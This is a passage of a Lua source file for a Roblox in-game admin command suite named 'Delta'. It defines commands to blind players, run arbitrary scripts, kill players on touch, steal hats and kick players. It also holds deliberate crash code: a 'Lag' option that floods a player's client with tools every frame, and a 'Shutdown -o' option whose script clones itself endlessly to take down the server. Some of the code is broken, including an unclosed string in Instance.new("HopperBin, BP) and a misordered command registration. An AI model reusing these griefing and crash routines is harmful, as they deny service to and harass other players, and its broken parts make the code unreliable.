- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
- end)
- end
- end
- end
- end)
- Command("Blind", {"blind"}, 2, "Blinds A Player", "-u (UnBlind)", function(Speaker, Msg)
- if GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- local x = Instance.new("StringValue", v)
- x.Name = "DeltaStopTheBlindNow"
- local sg = v.PlayerGui:findFirstChild("DeltaBlind")
- sg.Frame:TweenSize(UDim2.new(0,0,0,0), "Out", "Quad", 0.5)
- Delta.Services.Debris:AddItem(sg, 0.5)
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- createScript([[
- script.Parent = nil
- player = game:GetService('Players'):findFirstChild(']]..v.Name..[[')
- PG = player.PlayerGui
- function Blind()
- local sg = Instance.new("ScreenGui", PG)
- sg.Name = "DeltaBlind"
- local fr = Instance.new("Frame", sg)
- fr.Size = UDim2.new(0,0,0,0)
- fr.BackgroundColor = BrickColor.new("Really black")
- fr.Name = "Frame"
- local txt = Instance.new("TextLabel", fr)
- txt.Name = "textbox"
- txt.Size = UDim2.new(1, 0, 1, 0)
- txt.TextColor = BrickColor.White()
- txt.BackgroundTransparency = 1
- txt.Text = "You got blinded!"
- txt.FontSize = "Size48"
- fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 0.5)
- end
- while wait() do
- if player:findFirstChild("DeltaStopTheBlindNow") ~= nil then player:findFirstChild("DeltaStopTheBlindNow").Parent=nil break end
- if PG:findFirstChild("DeltaBlind") == nil then
- Blind()
- end
- end
- ]], Delta.Services.Workspace)
- end)
- end
- end
- end
- end)
- Command("Execute Script", {"c", "s", "script"}, 2, "QuickScripts a Script", "-l (Local)", function(Speaker, Msg)
- if GetSplit(Msg) == "l" then
- Msg = Msg:gsub("-l", "")
- local Split = Msg:find(Delta.Bet)
- local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
- local Source = Msg:sub(Split + 1)
- local x = [[
- s = setmetatable({}, {
- __index = function(Name, Service)
- return game:GetService(Service)
- end
- });
- ]]
- if #Player > 0 then
- for _,v in pairs(Player) do
- ypcall(function()
- createLocalScript(x.." "..Source, v.Character)
- end)
- end
- end
- else
- local x = [[
- s = setmetatable({}, {
- __index = function(Name, Service)
- return game:GetService(Service)
- end
- });
- ]]
- createScript(x.." "..Msg, Delta.Services.Workspace)
- end
- end)
- Command("Rare", {"rps"}, 2, "Runs a Protector Script", "-r (Rocks) -f (Fiery) -m (Magic) -s (Shield)", function(Speaker,Msg)
- if GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r", "")
- createScript([[
- wait()
- script.Parent = nil
- script:clearAllChildren()
- me = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
- me.Humanoid.Health = 1/0
- Instance.new("ForceField", me)
- torso = me.Torso
- local mat = "Plastic"
- t = 0.1
- m = Instance.new("Model",me)
- m.Name = "Suit"
- function make(a)
- c = Instance.new("Part",m)
- c.formFactor = "Custom"
- c.Position = a.Position
- c.Size = Vector3.new(a.Size.x,a.Size.y,t)
- c.TopSurface = 0
- c.BottomSurface = 0
- c.Material = "Concrete"
- c.BrickColor = BrickColor.new("Brown")
- c.Transparency = 1
- w = Instance.new("Weld",m)
- w.Part0 = c
- w.Part1 = a
- w.C1 = CFrame.new(0,0,a.Size.z/2)
- c2 = c:Clone()
- c2.Parent = m
- w = Instance.new("Weld",m)
- w.Part0 = c2
- w.Part1 = a
- w.C1 = CFrame.new(0,0,-a.Size.z/2)
- c3 = c:Clone()
- c3.Parent = m
- c3.Size = Vector3.new(t,a.Size.y,a.Size.z)
- w = Instance.new("Weld",m)
- w.Part0 = c3
- w.Part1 = a
- w.C1 = CFrame.new(a.Size.x/2,0,0)
- c4 = c3:Clone()
- c4.Parent = m
- w = Instance.new("Weld",m)
- w.Part0 = c4
- w.Part1 = a
- w.C1 = CFrame.new(-a.Size.x/2,0,0)
- c5 = c:Clone()
- c5.Parent = m
- c5.Size = Vector3.new(a.Size.x,0,a.Size.z)
- w = Instance.new("Weld",m)
- w.Part0 = c5
- w.Part1 = a
- w.C1 = CFrame.new(0,a.Size.y/2,0)
- c6 = c5:Clone()
- c6.Parent = m
- w = Instance.new("Weld",m)
- w.Part0 = c6
- w.Part1 = a
- w.C1 = CFrame.new(0,-a.Size.y/2,0)
- end
- for i,v in pairs(me:GetChildren()) do
- if v:IsA("BasePart") then
- if v.Name ~= "Head" then
- make(v)
- end
- end
- end
- function bounch(hit)
- for i,v in pairs (hit.Parent:GetChildren()) do
- if v:IsA("Humanoid") then
- v.Sit = true
- v.Torso.Velocity = CFrame.new(v.Torso.Position,torso.Position).lookVector * -500
- end
- end
- end
- rad = 5
- r = 30
- p = Instance.new("Part",m)
- p.formFactor = "Custom"
- p.Size = Vector3.new(0.5,0.5,0.5)
- p.Position = torso.Position
- p.TopSurface = 0
- p.BottomSurface = 0
- p.BrickColor = BrickColor.new("New Yeller")
- p.Transparency = 1
- ww = Instance.new("Weld",p)
- ww.Part0 = p
- ww.Part1 = torso
- p2 = p:Clone()
- p2.Parent = m
- p3 = p:Clone()
- p3.Parent = m
- ww2 = Instance.new("Weld",p2)
- ww2.Part0 = p2
- ww2.Part1 = torso
- ww3 = Instance.new("Weld",p3)
- ww3.Part0 = p3
- ww3.Part1 = torso
- ww3.C1 = CFrame.Angles(0,math.pi/2,0)
- for i = 1,360,r do
- wait()
- c = Instance.new("Part",m)
- c.Size = Vector3.new(1,1,1)
- c.TopSurface = 0
- c.BottomSurface = 0
- c.CanCollide = false
- c.Position = torso.Position
- c.Shape = 0
- c.Material = "Concrete"
- c.Touched:connect(bounch)
- c.BrickColor = BrickColor.new("Brown")
- mesh = Instance.new("FileMesh",c)
- mesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
- w = Instance.new("Weld",c)
- w.Part0 = c
- w.Part1 = p
- w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
- end
- for i = 1,360,r do
- wait()
- c2 = c:Clone()
- c2.Parent = m
- c2.Touched:connect(bounch)
- w = Instance.new("Weld",c)
- w.Part0 = c
- w.Part1 = p
- w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
- end
- for i = 1,360,r do
- wait()
- c2 = c:Clone()
- c2.Parent = m
- c2.Touched:connect(bounch)
- w = Instance.new("Weld",c2)
- w.Part0 = c2
- w.Part1 = p2
- w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
- end
- for i = 1,360,r do
- wait()
- c2 = c:Clone()
- c2.Parent = m
- c2.Touched:connect(bounch)
- w = Instance.new("Weld",c2)
- w.Part0 = c2
- w.Part1 = p3
- w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
- end
- while wait() do
- ww.C1 = ww.C1 * CFrame.Angles(0,0.1,0)
- ww2.C1 = ww2.C1 * CFrame.Angles(0,0,0.1)
- ww3.C1 = ww3.C1 * CFrame.Angles(0,0,-0.1)
- end
- ]], Delta.Services.Workspace)
- elseif GetSplit(Msg) == "f" then
- Msg = Msg:gsub("-f", "")
- createScript([[
- wait()
- script.Parent = nil
- script:clearAllChildren()
- person = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
- mybody = person:children''
- for _,v in pairs(person:children'') do
- if v:IsA("Hat") then
- v:remove()
- end
- if v:IsA("Part") then
- if v.Name == "Head" then v.face.Transparency = 1 end
- v.Transparency = 1
- end
- end
- person.Humanoid.MaxHealth = 1/0
- function onTouched(hit)
- humanoid = hit.Parent:findFirstChild("Humanoid")
- if humanoid ~= nil then
- humanoid.Health = 0
- humanoid.Parent:BreakJoints()
- end
- end
- for i = 1, #mybody do
- if mybody[i].className == "Part" then
- mybody[i].Touched:connect(onTouched)
- end
- end
- for i = 1, 3 do
- local f = Instance.new("Fire", person.Torso)
- f.Heat = 1/0
- f.Color = Color3.new(math.random(1,3),math.random(1,3),math.random(1,3))
- f.SecondaryColor = f.Color
- end
- ]], Delta.Services.Workspace)
- elseif GetSplit(Msg) == "m" then
- Msg = Msg:gsub("-m", "")
- createScript([[
- wait()
- script:clearAllChildren()
- script.Parent = nil
- local player = game:service'Players':findFirstChild(']]..Speaker.Name..[[')
- local master = player.Character
- function create()
- m = Instance.new("Model", master)
- m[string.char(78, 97, 109, 101)] = string.char()
- h = Instance.new("Humanoid", m)
- h.MaxHealth = 0
- b = Instance.new("Part", m)
- b.Name = "Head"
- b.Position = master.Torso.Position
- b.Anchored = false
- b.CanCollide = false
- b.Transparency = 0.6
- b.Reflectance = 0.4
- b.BrickColor = BrickColor.new("Bright yellow")
- b.TopSurface = Enum.SurfaceType.Smooth
- b.BottomSurface = Enum.SurfaceType.Smooth
- b.FormFactor = Enum.FormFactor.Symmetric
- b.Size = Vector3.new(1, 1, 1)
- b2 = Instance.new("Part", m)
- b2.Position = master.Torso.Position
- b2.Anchored = false
- b2.CanCollide = false
- b2.Transparency = 0
- b2.Reflectance = 0.4
- b2.BrickColor = BrickColor.new("Light stone grey")
- b2.TopSurface = Enum.SurfaceType.Smooth
- b2.BottomSurface = Enum.SurfaceType.Smooth
- b2.FormFactor = Enum.FormFactor.Custom
- b2.Size = Vector3.new(0.2, 0.2, 0.2)
- b3 = Instance.new("Part", m)
- b3.Position = master.Torso.Position
- b3.Anchored = false
- b3.CanCollide = false
- b3.Transparency = 0.6
- b3.Reflectance = 0.4
- b3.BrickColor = BrickColor.new("Light stone grey")
- b3.TopSurface = Enum.SurfaceType.Smooth
- b3.BottomSurface = Enum.SurfaceType.Smooth
- b3.FormFactor = Enum.FormFactor.Custom
- b3.Size = Vector3.new(0.2, 0.2, 0.2)
- b4 = Instance.new("Part", m)
- b4.Position = master.Torso.Position
- b4.Anchored = false
- b4.CanCollide = false
- b4.Transparency = 0
- b4.Reflectance = 0.4
- b4.BrickColor = BrickColor.new("Light stone grey")
- b4.TopSurface = Enum.SurfaceType.Smooth
- b4.BottomSurface = Enum.SurfaceType.Smooth
- b4.FormFactor = Enum.FormFactor.Custom
- b4.Size = Vector3.new(0.2, 0.2, 0.2)
- b5 = Instance.new("Part", m)
- b5.Position = master.Torso.Position
- b5.Anchored = false
- b5.CanCollide = false
- b5.Transparency = 0
- b5.Reflectance = 0.4
- b5.BrickColor = BrickColor.new("Light stone grey")
- b5.TopSurface = Enum.SurfaceType.Smooth
- b5.BottomSurface = Enum.SurfaceType.Smooth
- b5.FormFactor = Enum.FormFactor.Custom
- b5.Size = Vector3.new(0.2, 0.2, 0.2)
- b6 = Instance.new("Part", m)
- b6.Position = master.Torso.Position
- b6.Anchored = false
- b6.CanCollide = false
- b6.Transparency = 0
- b6.Reflectance = 0.4
- b6.BrickColor = BrickColor.new("Light stone grey")
- b6.TopSurface = Enum.SurfaceType.Smooth
- b6.BottomSurface = Enum.SurfaceType.Smooth
- b6.FormFactor = Enum.FormFactor.Custom
- b6.Size = Vector3.new(0.2, 0.2, 0.2)
- b7 = Instance.new("Part", m)
- b7.Position = master.Torso.Position
- b7.Anchored = false
- b7.CanCollide = false
- b7.Transparency = 0.6
- b7.Reflectance = 0.4
- b7.BrickColor = BrickColor.new("Light stone grey")
- b7.TopSurface = Enum.SurfaceType.Smooth
- b7.BottomSurface = Enum.SurfaceType.Smooth
- b7.FormFactor = Enum.FormFactor.Custom
- b7.Size = Vector3.new(0.2, 0.2, 0.2)
- b8 = Instance.new("Part", m)
- b8.Position = master.Torso.Position
- b8.Anchored = false
- b8.CanCollide = false
- b8.Transparency = 0.6
- b8.Reflectance = 0.4
- b8.BrickColor = BrickColor.new("Light stone grey")
- b8.TopSurface = Enum.SurfaceType.Smooth
- b8.BottomSurface = Enum.SurfaceType.Smooth
- b8.FormFactor = Enum.FormFactor.Custom
- b8.Size = Vector3.new(0.2, 0.2, 0.2)
- b9 = Instance.new("Part", m)
- b9.Position = master.Torso.Position
- b9.Anchored = false
- b9.CanCollide = false
- b9.Transparency = 0.6
- b9.Reflectance = 0.4
- b9.BrickColor = BrickColor.new("Light stone grey")
- b9.TopSurface = Enum.SurfaceType.Smooth
- b9.BottomSurface = Enum.SurfaceType.Smooth
- b9.FormFactor = Enum.FormFactor.Custom
- b9.Size = Vector3.new(0.2, 0.2, 0.2)
- f2 = Instance.new("Fire", b2)
- f2.Size = 2
- f2.Heat = 0
- f2.Color = Color3.new(255/255, 255/255, 255/255)
- f2.SecondaryColor = Color3.new(1, 1, 0)
- f3 = Instance.new("Fire", b3)
- f3.Size = 2
- f3.Heat = 0
- f3.Color = Color3.new(255/255, 255/255, 255/255)
- f3.SecondaryColor = Color3.new(1, 1, 0)
- f4 = Instance.new("Fire", b4)
- f4.Size = 2
- f4.Heat = 0
- f4.Color = Color3.new(255/255, 255/255, 255/255)
- f4.SecondaryColor = Color3.new(1, 1, 0)
- f5 = Instance.new("Fire", b5)
- f5.Size = 2
- f5.Heat = 0
- f5.Color = Color3.new(255/255, 255/255, 255/255)
- f5.SecondaryColor = Color3.new(1, 1, 0)
- f6 = Instance.new("Fire", b6)
- f6.Size = 2
- f6.Heat = 0
- f6.Color = Color3.new(255/255, 255/255, 255/255)
- f6.SecondaryColor = Color3.new(1, 1, 0)
- f7 = Instance.new("Fire", b7)
- f7.Size = 2
- f7.Heat = 0
- f7.Color = Color3.new(255/255, 255/255, 255/255)
- f7.SecondaryColor = Color3.new(1, 1, 0)
- f8 = Instance.new("Fire", b8)
- f8.Size = 2
- f8.Heat = 0
- f8.Color = Color3.new(255/255, 255/255, 255/255)
- f8.SecondaryColor = Color3.new(1, 1, 0)
- f9 = Instance.new("Fire", b9)
- f9.Size = 2
- f9.Heat = 0
- f9.Color = Color3.new(255/255, 255/255, 255/255)
- f9.SecondaryColor = Color3.new(1, 1, 0)
- w = Instance.new("Weld", b)
- w.Part0 = master.Torso
- w.Part1 = b
- w.C0 = CFrame.new(0, 8, 0)
- w2 = Instance.new("Weld", b2)
- w2.Part0 = b
- w2.Part1 = b2
- w2.C0 = w.C1 * CFrame.new(0, 2.5, 0)
- w3 = Instance.new("Weld", b3)
- w3.Part0 = b
- w3.Part1 = b3
- w3.C0 = w.C1 * CFrame.new(0, -2.5, 0)
- w4 = Instance.new("Weld", b4)
- w4.Part0 = b
- w4.Part1 = b4
- w4.C0 = w.C1 * CFrame.new(2.5, 0, 0)
- w5 = Instance.new("Weld", b5)
- w5.Part0 = b
- w5.Part1 = b5
- w5.C0 = w.C1 * CFrame.new(-2.5, 0, 0)
- w6 = Instance.new("Weld", b6)
- w6.Part0 = b
- w6.Part1 = b6
- w6.C0 = w.C1 * CFrame.new(0, 0, 2.5)
- w7 = Instance.new("Weld", b7)
- w7.Part0 = b
- w7.Part1 = b7
- w7.C0 = w.C1 * CFrame.new(0, 0, -2.5)
- w8 = Instance.new("Weld", b8)
- w8.Part0 = master.Torso
- w8.Part1 = b8
- w9 = Instance.new("Weld", b9)
- w9.Part0 = master.Torso
- w9.Part1 = b9
- return
- end
- local cor = coroutine.create(function()
- while true do
- if m and w and w8 and w9 and master then
- for i = 1, 16 do
- w.C1 = w.C1 * CFrame.Angles(math.pi/32, math.pi/32, math.pi/32)
- w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
- w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
- w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
- w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
- wait(0.00000000000000000000000000000000000000000000000000000000000001)
- end
- for i = 1, 16 do
- w.C1 = w.C1 * CFrame.Angles(math.pi/32, -math.pi/32, math.pi/32)
- w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
- w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
- w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
- w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
- wait(0.00000000000000000000000000000000000000000000000000000000000001)
- end
- else
- return
- end
- end
- end)
- create()
- coroutine.resume(cor)
- function onChat(msg)
- if string.lower(msg) == "reset" then
- player:LoadCharacter()
- end
- end
- player.Chatted:connect(onChat)
- b8.Touched:connect(function(hit)
- if hit.Parent:FindFirstChild("Humanoid") then
- hit.Parent:BreakJoints()
- end
- end)
- b9.Touched:connect(function(hit)
- if hit.Parent:FindFirstChild("Humanoid") then
- hit.Parent:BreakJoints()
- end
- end)
- master.Humanoid.Died:connect(function()
- m:Remove()
- end)
- ]],Delta.Services.Workspace)
- elseif GetSplit(Msg) == "s" then
- Msg = Msg:gsub("-s", "")
- createScript([[
- wait()
- script.Parent = nil
- script:clearAllChildren()
- local player = game:GetService("Players"):findFirstChild(']]..Speaker.Name..[[')
- if (player ~= nil) then
- wait()
- pcall(function() player.Character.ForceField:Remove() end)
- pcall(function() player.Character.Shield:Remove() end)
- pcall(function() player.Character.Humanoid.MaxHealth = 100 Player.Character.Humanoid.Health = 100 end)
- pcall(function() player.Character.Humanoid.WalkSpeed = 25 end)
- local Shield = Instance.new("Part", player.Character)
- local ff = Instance.new("ForceField", player.Character)
- local Weld = Instance.new("Weld", Shield)
- local bp = Instance.new("BodyPosition", Shield)
- local bg = Instance.new("BodyGyro", Shield)
- player.Character.Humanoid.MaxHealth = math.huge
- player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth
- Shield.Name = "Shield"
- Shield.Transparency = 0.5
- Shield.CanCollide = true
- Shield.Locked = true
- Shield.formFactor = "Custom"
- Shield.Shape = "Ball"
- Shield.Size = Vector3.new(10.5, 10.5, 10.5)
- Shield.Position = player.Character.Torso.Position
- Shield.BrickColor = BrickColor.new("Navy blue")
- Shield.TopSurface = 0
- Shield.BottomSurface = 0
- bp.position = Vector3.new(-22.5, 7.5, 55.5)
- bp.maxForce = Vector3.new(0, 1.0000e+008, 0)
- bg.D = 1
- bg.P = 1
- bg.maxTorque = Vector3.new(4.0000e+005, 0, 4.0000e+005)
- Weld.Part0 = player.Character.Torso
- Weld.Part1 = Shield
- Weld.C0 = CFrame.new(0, 0, 0)
- Shield.Touched:connect(function(p)
- if p.Parent:findFirstChild("Torso") then
- ex = Instance.new("Explosion", p.Parent)
- ex.Position = p.Parent.Torso.Position
- p.Parent:BreakJoints()
- end
- end)
- wait()
- end
- ]],Delta.Services.Workspace)
- else
- return
- end
- end)
- Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets)", function(Speaker,Msg)
- if GetSplit(Msg) == "h" then
- Msg = Msg:gsub("-h", "")
- local m = Instance.new("Hint", workspace)
- m.Text = Speaker.Name..": "..Msg
- Delta.Services.Debris:AddItem(m, 3)
- elseif GetSplit(Msg) == "hg" then
- Msg = Msg:gsub("-hg", "")
- Announce(Speaker.Name..": "..Msg, false)
- elseif GetSplit(Msg) == "t" then
- Msg = Msg:gsub("-t", "")
- OutputAll(Speaker.Name..": "..Msg, "Random", nil, 3)
- elseif GetSplit(Msg) == "m" then
- Msg = Msg:gsub("-m", "")
- local m = Instance.new("Message", workspace)
- m.Text = Speaker.Name..": "..Msg
- Delta.Services.Debris:AddItem(m, 3)
- else
- Announce(Speaker.Name..": "..Msg, true)
- end
- end)
- Command("Toggle Hats", {"hats"}, 2, "Targets A Player And Gives Hat Options", "-r (Remove) -s (Steal) -c (Clone)", function(Speaker, Msg)
- if GetSplit(Msg) == "r" then
- Msg = Msg:gsub("-r","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _, v2 in pairs(v.Character:GetChildren()) do
- if v2:IsA("Hat") then
- v2:remove()
- end
- end
- end)
- end
- end
- elseif GetSplit(Msg) == "s" then
- Msg = Msg:gsub("-s","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _, v2 in pairs(v.Character:GetChildren()) do
- if v2:IsA("Hat") then
- v2.Parent = Speaker.Character
- end
- end
- end)
- end
- end
- elseif GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _, v2 in pairs(v.Character:GetChildren()) do
- if v2:IsA("Hat") then
- v2:Clone().Parent = Speaker.Character
- end
- end
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- end)
- end
- end
- end
- end)
- -- Rank 3! --
- Command("Lag", {"lag"}, 3, "Lags A Player", "-b (Banish) -t (Tool Lag)", function(Speaker, Msg)
- if GetSplit(Msg) == "b" then
- Msg = Msg:gsub("-b","")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- ChangeRank(v, -2)
- Lag(v)
- end)
- end
- end
- elseif GetSplit(Msg) == "t" then
- Msg = Msg:gsub("-t", "")
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- createLocalScript([[
- wait()
- script.Parent = nil
- local P = game:GetService("Players").LocalPlayer
- local PG = P.PlayerGui
- local BP = P.Backpack
- local CC = game:GetService("Workspace").CurrentCamera
- --P.CameraMode = Enum.CameraMode.LockFirstPerson
- game:GetService("RunService").Stepped:connect(function()
- for i = 1, 500 do
- Instance.new("Tool", BP)
- Instance.new("HopperBin, BP)
- end
- end)
- ]], v:waitForChild("Backpack"))
- end)
- end
- end
- else
- local Players = getPlayer(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Lag(v)
- end)
- end
- end
- end
- end)
- Command("Shutdown", {"sd", "shutdown"}, 3, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow) -n (New Server)", function(Speaker, Msg)
- if GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c","")
- for i = 1, Delta.ShutdownTime do
- if Delta.Aborted == true then
- Delta.Aborted = false
- local ABM = Instance.new("Message", Delta.Services.Workspace)
- ABM.Text = "Shutdown Aborted!"
- Delta.Services.Debris:AddItem(ABM, 1)
- return
- else
- local ABH = Instance.new("Hint", Delta.Services.Workspace)
- ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
- local ABM = Instance.new("Message", Delta.Services.Workspace)
- ABM.Text = "Shutdown in "..Delta.ShutdownTime-i.." seconds"
- wait(1)
- if ABM ~= nil then
- ABM:remove()
- end
- if ABH ~= nil then
- ABH:remove()
- end
- end
- end
- Shutdown()
- elseif GetSplit(Msg) == "a" then
- Msg = Msg:gsub("-a", "")
- Delta.Aborted = true
- elseif GetSplit(Msg) == "o" then
- Msg = Msg:gsub("-o", "")
- createScript([[
- while game:service'RunService'.Stepped:wait() do
- script:Clone().Parent = game:GetService("Workspace")
- end
- ]], Delta.Services.Workspace)
- else
- Shutdown()
- end
- end)
- Command("Locks", {"locks", "lockscripts"}, 3, "Locks/Unlocks Scripting", nil, function(Speaker, Msg)
- Dismiss(Speaker)
- Output(Speaker, "Lock ServerSided Scripts: "..tostring(Delta.ServerSidedScriptsLock), "Bright orange")
- Output(Speaker, "Lock Local Scripts: "..tostring(Delta.LocalSidedScriptsLock), "Bright orange")
- Output(Speaker, "Enable ServerSided", Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red", function()
- Dismiss(Speaker)
- Delta.ServerSidedScriptsLock = not Delta.ServerSidedScriptsLock
- Output("Admins", "Server Sided Scripting is now "..tostring(Delta.ServerSidedScriptsLock), Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red")
- end)
- Output(Speaker, "Enable Local Slided", Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red", function()
- Dismiss(Speaker)
- Delta.LocalSidedScriptsLock = not Delta.LocalSidedScriptsLock
- Output("Admins", "Local Sided Scripting is now "..tostring(Delta.LocalSidedScriptsLock), Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red")
- end)
- end)
- Command("Toggle Pri on/off", {"pri", "privateserver"}, 3, "PrivateServer Menu", nil, function(Speaker,Msg)
- if #Msg == 0 then
- Dismiss(Speaker)
- local Status = Delta.PrivateServer.Enabled == true and "On" or "Off"
- Output(Speaker, "Turn On", "Lime green", function()
- Dismiss(Speaker)
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- if FindRank(v) <= 0.1 then
- table.insert(Delta.PrivateServer.Waiting, v.Name)
- Announce(v.Name.." got kicked due to private server.")
- v:Kick()
- end
- end
- Delta.PrivateServer.Enabled = true
- Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
- end)
- Output(Speaker, "Turn Off", "Really red", function() Dismiss(Speaker) Delta.PrivateServer.Enabled = false Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
- Output(Speaker, "Waiting List", "Deep orange", function()
- Dismiss(Speaker)
- -- [ Bugged ] --
- for i,v in pairs(Delta.PrivateServer.Waiting) do
- local a,b = ypcall(function()
- Output(Speaker, v, nil, function()
- Dismiss(Speaker)
- ypcall(function()
- Announce(v.." has been added to the private server!")
- table.remove(Delta.PrivateServer.Waiting, i)
- Delta.Ranked[v].Rank = 0.5
- end)
- end)
- end)
- if not a then Output("admins", b, 'Really red') end
- end
- Output(Speaker, "Back", "Really blue", function() Delta.Commands["Private Server"].Function(Speaker, "") end)
- end)
- Output(Speaker, "Status: "..Status)
- elseif Msg == "on" or Msg == "1" or Msg == "true" then
- Delta.PrivateServer.Enabled = true
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- if FindRank(v) <= 0.1 then
- table.insert(Delta.PrivateServer.Waiting, v.Name)
- Announce(v.Name.." got kicked due to private server.")
- v:Kick()
- end
- end
- Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
- elseif Msg == "off" or Msg == "0" or Msg == "false" then
- Delta.PrivateServer.Enabled = false
- Output(Speaker, "Private Server Disabled", "Lime green", nil, 3)
- end
- end)
- Command("Deep Clean", {"deepcln", "deepclean"}, 4, "Deep Cleans the server.", function(Speaker,Msg)
- game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
- game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- game.Lighting.Ambient = Color3.new(1, 1, 1)
- game.Lighting.Brightness = 1
- game.Lighting.TimeOfDay = "11:00:00"
- game.Lighting.FogEnd = 99999999
- game.Workspace.Base.Transparency = 0
- game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
- game.Workspace.Base.Locked = true
- game.Workspace.Base.Anchored = true
- t = game.Teams:GetChildren()
- for i = 1, #t do
- if t[i]:IsA("Team") then
- t[i]: Destroy()
- end
- end
- l = game.Lighting:GetChildren()
- for i = 1, #l do
- if l[i]:IsA("Sky") then
- l[i]: Destroy()
- end
- end
- g = game.Workspace:GetChildren()
- for i = 1, #g do
- if g[i]:IsA("Part") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Script") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("StringValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("IntValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BoolValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("NumberValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("ObjectValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("RayValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Sound") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Accoutrement") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BrickColorValue") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Motor") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("MotorFeature") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Color3Value") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableEvent") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("BindableFunction") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("LocalScript") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
- g[i]: Remove()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hint") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Truss") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Tool") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("HopperBin") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Fire") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Explosion") then
- g[i]: Destroy()
- end
- end
- for i = 1, #g do
- if g[i]:IsA("Hat") then
- g[i]: Destroy()
- end
- end
- p = Instance.new("Part")
